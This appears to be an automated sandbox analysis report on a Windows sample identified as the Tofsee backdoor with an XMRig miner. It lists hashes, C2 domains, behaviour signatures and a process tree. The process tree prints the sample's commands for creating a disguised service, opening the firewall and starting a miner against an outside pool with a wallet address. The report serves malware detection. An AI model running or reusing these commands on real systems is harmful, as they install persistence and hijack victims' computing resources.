Analysis

  • max time kernel
    143s
  • max time network
    147s
  • platform
    windows10-1703_x64
  • resource
    win10-20220901-en
  • resource tags

    arch:x64arch:x86image:win10-20220901-enlocale:en-usos:windows10-1703-x64system
  • submitted
    28-10-2022 08:38

General

  • Target

    6142c15431b0084cea217fc883421c627497da8ece75c07ede0b4017d2d96ba2.exe

  • Size

    259KB

  • MD5

    32842b08313ff890c9564566d8d3187d

  • SHA1

    86a38a43c704017452d6f258a6c8372d65b9d186

  • SHA256

    6142c15431b0084cea217fc883421c627497da8ece75c07ede0b4017d2d96ba2

  • SHA512

    571f29852076c86cf6218071f8b9f3f90e8b1b2c4811796dc6873e35718e66dc158b661b24b9f7f5f02cf0d6fe5ad8d054a8bbf6ca403bd20aef613ad9b2e568

  • SSDEEP

    3072:2XONHrELjqTABlvuGY3Z57R/2lpIOvGELdGbYByqF7Zl8tQ5M0VOCYyXV0M/h3:eWHwLjqIvRY/Rm1vCIyq/lPlE8XV0

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\6142c15431b0084cea217fc883421c627497da8ece75c07ede0b4017d2d96ba2.exe
    "C:\Users\Admin\AppData\Local\Temp\6142c15431b0084cea217fc883421c627497da8ece75c07ede0b4017d2d96ba2.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2744
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\hhbsuix\
      2⤵
        PID:5020
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\lxgutpyd.exe" C:\Windows\SysWOW64\hhbsuix\
        2⤵
          PID:2368
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create hhbsuix binPath= "C:\Windows\SysWOW64\hhbsuix\lxgutpyd.exe /d\"C:\Users\Admin\AppData\Local\Temp\6142c15431b0084cea217fc883421c627497da8ece75c07ede0b4017d2d96ba2.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1612
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description hhbsuix "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4152
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start hhbsuix
          2⤵
          • Launches sc.exe
          PID:452
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4840
      • C:\Windows\SysWOW64\hhbsuix\lxgutpyd.exe
        C:\Windows\SysWOW64\hhbsuix\lxgutpyd.exe /d"C:\Users\Admin\AppData\Local\Temp\6142c15431b0084cea217fc883421c627497da8ece75c07ede0b4017d2d96ba2.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4292
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2588
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1108

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\lxgutpyd.exe

        Filesize

        14.7MB

        MD5

        b3dd43fd6c401ee3f0094ce831b5fbda

        SHA1

        f8b69a3d21f2c88f60998fcf71b89df12998c251

        SHA256

        9b5b881c079e0d0c18fd108ae78e04c070ec30c95abcdf417fa66afbd9dc6cb2

        SHA512

        82e40078562c61d0948ba031c027388ca5a49cd3c534460356bd1d1e1cdbacf5f0a76609e090cb32cb6834ed61c6afc091f57c49f884cc6aae1f325a1d7b7bdd

      • C:\Windows\SysWOW64\hhbsuix\lxgutpyd.exe

        Filesize

        14.7MB

        MD5

        b3dd43fd6c401ee3f0094ce831b5fbda

        SHA1

        f8b69a3d21f2c88f60998fcf71b89df12998c251

        SHA256

        9b5b881c079e0d0c18fd108ae78e04c070ec30c95abcdf417fa66afbd9dc6cb2

        SHA512

        82e40078562c61d0948ba031c027388ca5a49cd3c534460356bd1d1e1cdbacf5f0a76609e090cb32cb6834ed61c6afc091f57c49f884cc6aae1f325a1d7b7bdd

      • memory/452-199-0x0000000000000000-mapping.dmp

      • memory/1108-524-0x00000000032B259C-mapping.dmp

      • memory/1612-182-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/1612-184-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/1612-181-0x0000000000000000-mapping.dmp

      • memory/1612-191-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/1612-190-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/1612-188-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/1612-185-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/1612-186-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2368-175-0x0000000000000000-mapping.dmp

      • memory/2368-183-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2368-179-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2368-178-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2368-177-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2368-176-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2588-489-0x0000000002CB0000-0x0000000002CC5000-memory.dmp

        Filesize

        84KB

      • memory/2588-437-0x0000000002CB9A6B-mapping.dmp

      • memory/2588-480-0x0000000002CB0000-0x0000000002CC5000-memory.dmp

        Filesize

        84KB

      • memory/2744-141-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2744-129-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2744-143-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2744-144-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2744-145-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2744-146-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2744-147-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2744-149-0x0000000002ED3000-0x0000000002EE8000-memory.dmp

        Filesize

        84KB

      • memory/2744-148-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2744-151-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2744-150-0x0000000002D50000-0x0000000002D63000-memory.dmp

        Filesize

        76KB

      • memory/2744-152-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2744-153-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2744-154-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2744-155-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2744-156-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2744-157-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2744-158-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2744-159-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2744-160-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2744-161-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2744-162-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2744-163-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2744-164-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2744-165-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2744-166-0x0000000000400000-0x0000000002C2E000-memory.dmp

        Filesize

        40.2MB

      • memory/2744-167-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2744-168-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2744-169-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2744-121-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2744-122-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2744-123-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2744-124-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2744-239-0x0000000000400000-0x0000000002C2E000-memory.dmp

        Filesize

        40.2MB

      • memory/2744-120-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2744-140-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2744-139-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2744-137-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2744-138-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2744-233-0x0000000002D50000-0x0000000002D63000-memory.dmp

        Filesize

        76KB

      • memory/2744-136-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2744-135-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2744-134-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2744-133-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2744-132-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2744-131-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2744-142-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2744-130-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2744-128-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2744-127-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2744-230-0x0000000002ED3000-0x0000000002EE8000-memory.dmp

        Filesize

        84KB

      • memory/2744-126-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/2744-125-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/4152-189-0x0000000000000000-mapping.dmp

      • memory/4292-429-0x0000000002D30000-0x0000000002E7A000-memory.dmp

        Filesize

        1.3MB

      • memory/4292-431-0x0000000002D30000-0x0000000002E7A000-memory.dmp

        Filesize

        1.3MB

      • memory/4292-447-0x0000000000400000-0x0000000002C2E000-memory.dmp

        Filesize

        40.2MB

      • memory/4840-225-0x0000000000000000-mapping.dmp

      • memory/5020-180-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/5020-174-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/5020-173-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/5020-172-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/5020-171-0x0000000076F80000-0x000000007710E000-memory.dmp

        Filesize

        1.6MB

      • memory/5020-170-0x0000000000000000-mapping.dmp